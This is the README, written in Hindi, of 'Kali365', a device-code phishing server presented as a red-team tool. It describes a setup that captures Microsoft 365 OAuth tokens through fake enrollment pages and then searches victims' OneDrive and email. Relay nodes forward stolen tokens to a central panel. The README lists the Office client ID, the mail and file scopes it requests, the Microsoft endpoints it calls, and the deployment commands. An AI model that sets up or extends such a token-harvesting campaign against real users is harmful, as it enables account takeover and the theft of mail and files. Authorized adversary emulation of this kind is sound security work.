
Kali365 - EvilTokens Replica
एक डिवाइस-कोड फ़िशिंग सर्वर जो प्रतिद्वंद्वी अनुकरण के लिए है। डिवाइस ऑथराइज़ेशन ग्रांट प्रवाह के माध्यम से Microsoft 365 OAuth टोकन कैप्चर करता है। GraphSpy से प्रेरित।
चेतावनी — केवल अधिकृत उपयोग। यह उपकरण पैठ परीक्षकों और रेड टीम सदस्यों के लिए है जो स्पष्ट लिखित प्राधिकरण के तहत काम कर रहे हैं। दुरुपयोग कंप्यूटर धोखाधड़ी कानूनों का उल्लंघन कर सकता है।
microsoft.com/devicelogin पर प्रमाणित करने का संकेत देता है।Python बैकएंड (प्रति अभियान एक पोर्ट) + nginx फ्रंट-एंड + SQLite स्थिरता।
main_server.py ← एकीकृत प्रवेश बिंदु (इसे चलाएं)
db.py ← SQLite स्थिरता परत
html_enroll.py ← पीड़ित नामांकन पृष्ठ निर्माता
html_search.py ← पीड़ित पोस्ट-प्रमाणीकरण खोज पृष्ठ निर्माता
css_shared.py ← ऑपरेटर UI के लिए साझा CSS
nginx_helper.py ← nginx रिवर्स-प्रॉक्सी कॉन्फ़िगरेशन स्वचालित रूप से उत्पन्न और रीलोड करता है
nginx.conf ← आधार nginx कॉन्फ़िगरेशन (/etc/nginx/conf.d/*.conf शामिल करता है)
जब किसी अभियान को डोमेन के साथ बनाया जाता है, तो nginx_helper.py स्वचालित रूप से NGINX_CONF (/etc/nginx/conf.d/easytokens.conf डिफ़ॉल्ट) में एक प्रति-डोमेन सर्वर ब्लॉक लिखता है और nginx को रीलोड करता है। उस डोमेन के लिए पोर्ट 80 पर आने वाला पीड़ित ट्रैफ़िक सही Python सर्वर इंस्टेंस पर प्रॉक्सी किया जाता है।
nginx.conf किसी भी अनुरोध को छोड़ देता है जिसका Host हेडर किसी ज्ञात अभियान से मेल नहीं खाता (return 444), जिससे Python बैकएंड के आकस्मिक संपर्क को रोका जा सके।NGINX_CONF='' या NGINX_RELOAD_CMD='' सेट करें।docker compose up --build
Docker द्वारा खुले पोर्ट:
| पोर्ट | उद्देश्य |
|---|---|
80 | nginx — डोमेन-आधारित पीड़ित ट्रैफ़िक |
3000 | Python — ऑपरेटर UI + सीधी पीड़ित पहुँच |
http://localhost:3000/http://localhost:3000/apphttp://<campaign-domain>/ (पोर्ट 80 पर nginx के माध्यम से रूट किया गया)कैप्चर किए गए टोकन और लॉग Docker वॉल्यूम में संग्रहीत होते हैं:
| वॉल्यूम | कंटेनर में पथ | उद्देश्य |
|---|---|---|
easytokens-data | /data/easytokens.db | SQLite डेटाबेस |
./logs | /logs/ | प्रति-अनुरोध लॉग फ़ाइलें |
आवश्यकताएँ: Python 3.12+, कोई तृतीय-पक्ष पैकेज नहीं।
python main_server.py
php-relay/ निर्देशिका में एक स्वतंत्र Apache/PHP कंटेनर है जो वितरित पीड़ित-सामना करने वाले नोड के रूप में कार्य करता है। यह मुख्य सर्वर के समान डिवाइस-कोड नामांकन पृष्ठ प्रदान करता है, Microsoft को सीधे पोल करता है, और कैप्चर किए गए टोकन को POST /webhook के माध्यम से मुख्य पैनल पर अग्रेषित करता है।
checkin.php मुख्य पैनल पर POST /relay/checkin पर POST करता है, RELAY_SECRET के साथ प्रमाणित होता है। पैनल नोड को पंजीकृत करता है और एक node_id लौटाता है।index.php) पर ब्राउज़ करते हैं, जो एक नया डिवाइस-कोड प्रवाह शुरू करता है।poll.php को पोल करता है। जब कोई टोकन कैप्चर होता है, तो poll.php इसे मुख्य पैनल पर POST /webhook पर अग्रेषित करता है, node_id के साथ टैग किया जाता है।php-relay/.env में कॉन्फ़िगर करें:
दोनों कंटेनर एक साथ (अनुशंसित):
# EasyTokens/ से
docker compose -f docker-compose.yml -f php-relay/docker-compose.yml up --build
एकल -f मर्ज के साथ दोनों को चलाने से वे एक ही Docker नेटवर्क पर आ जाते हैं, इसलिए MAIN_SERVER_URL=http://easytokens:3000 सही ढंग से हल होता है।
पहुँच:
| URL | उद्देश्य |
|---|---|
http://localhost:8082/ | रिले पीड़ित नामांकन पृष्ठ |
http://localhost:3000/app/nodes | पंजीकृत रिले नोड्स का ऑपरेटर दृश्य |
केवल रिले (दूरस्थ पैनल):
cd php-relay
# .env में MAIN_SERVER_URL को सार्वजनिक पैनल URL पर सेट करें
docker compose up --build
openssl rand -hex 32EasyTokens/.env में RELAY_SECRET=<secret> सेट करें (मुख्य पैनल द्वारा docker-compose.yml के माध्यम से उठाया गया)php-relay/.env में सेट करेंSQLite डेटाबेस में दो तालिकाएँ:
tokens — प्रत्येक कैप्चर किया गया एक्सेस/रिफ्रेश टोकन (UPN, एक्सेस टोकन, रिफ्रेश टोकन, आईडी टोकन, स्कोप, स्रोत, कैप्चर टाइमस्टैम्प)device_codes — ऑपरेटर द्वारा आरंभ किए गए अभियान (उपयोगकर्ता कोड, डिवाइस कोड, सत्यापन URL, स्थिति, लिंक किया गया टोकन आईडी, पोर्ट, डोमेन)MIT — कॉपीराइट (c) 2026 केसी स्मिथ
| विधि | पथ | श्रोता | विवरण |
|---|
GET | / | पीड़ित | डिवाइस-कोड नामांकन पृष्ठ (डंडर मिफ्लिन थीम) |
POST | /poll | पीड़ित (JS) | MS टोकन एंडपॉइंट को पोल करता है; सफलता पर टोकन संग्रहीत करता है |
GET | /search?s=<id> | पीड़ित | पोस्ट-प्रमाणीकरण OneDrive/ईमेल खोज पृष्ठ |
GET | /app | ऑपरेटर | डैशबोर्ड — आँकड़े + हाल के कैप्चर |
GET | /app/device-codes | ऑपरेटर | लाइव पोल स्थिति के साथ सभी अभियान |
POST | /app/device-codes/new | ऑपरेटर | एक नया डिवाइस कोड अभियान बनाएं |
GET | /app/tokens | ऑपरेटर | सभी कैप्चर किए गए टोकन |
GET | /app/search?id=<id> | ऑपरेटर | किसी विशिष्ट टोकन के लिए OneDrive + ईमेल खोज |
POST | /webhook | रिले नोड | प्रमाणित रिले नोड से एक टोकन अंतर्ग्रहण करें |
POST | /relay/checkin | रिले नोड | एक रिले नोड पंजीकृत करें; node_id लौटाता है |
| चर | डिफ़ॉल्ट | विवरण |
|---|
PORT | 3000 | Python सर्वर के लिए सुनने का पोर्ट |
PORT_MAX | 3010 | Docker द्वारा खुले पोर्ट रेंज की ऊपरी सीमा |
DB_PATH | /data/easytokens.db | SQLite डेटाबेस पथ |
LOG_DIR | /logs | प्रति-अनुरोध लॉग निर्देशिका |
NGINX_CONF | /etc/nginx/conf.d/easytokens.conf | nginx_helper द्वारा उत्पन्न कॉन्फ़िगरेशन लिखने का पथ; अक्षम करने के लिए '' सेट करें |
NGINX_RELOAD_CMD | nginx -s reload | कॉन्फ़िगरेशन बदलने के बाद nginx को रीलोड करने का शेल कमांड; अक्षम करने के लिए '' सेट करें |
RELAY_SECRET | (अनसेट) | रिले नोड प्रमाणीकरण के लिए साझा रहस्य। openssl rand -hex 32 से उत्पन्न करें। php-relay/.env में RELAY_SECRET से मेल खाना चाहिए। रिले समर्थन अक्षम करने के लिए अनसेट छोड़ें। |
| चर | डिफ़ॉल्ट | विवरण |
|---|
MAIN_SERVER_URL | http://easytokens:3000 | मुख्य पैनल का URL जो रिले कंटेनर के अंदर से पहुँच योग्य है |
RELAY_SECRET | (आवश्यक) | मुख्य पैनल पर RELAY_SECRET से मेल खाना चाहिए |
RELAY_PORT | 8082 | रिले को खोलने के लिए होस्ट पोर्ट |
RELAY_LABEL | होस्टनाम | पैनल में इस नोड के लिए दिखाया गया मानव-पठनीय नाम |
CHECKIN_RETRIES | 10 | छोड़ने से पहले चेक-इन पुनर्प्रयास |
CHECKIN_DELAY | 5 | चेक-इन पुनर्प्रयासों के बीच सेकंड |
NODE_ID_FILE | /tmp/relay_node_id | चेक-इन के बाद node_id कैश करने का पथ |
| फ़ील्ड | मान |
|---|
| क्लाइंट आईडी | d3590ed6-52b3-4102-aeff-aad2292ab01c (Microsoft Office) |
| संसाधन | https://graph.microsoft.com |
| स्कोप | openid profile email offline_access Mail.Read Files.Read |
| डिवाइस कोड URL | https://login.microsoftonline.com/common/oauth2/devicecode |
| टोकन URL | https://login.microsoftonline.com/Common/oauth2/token |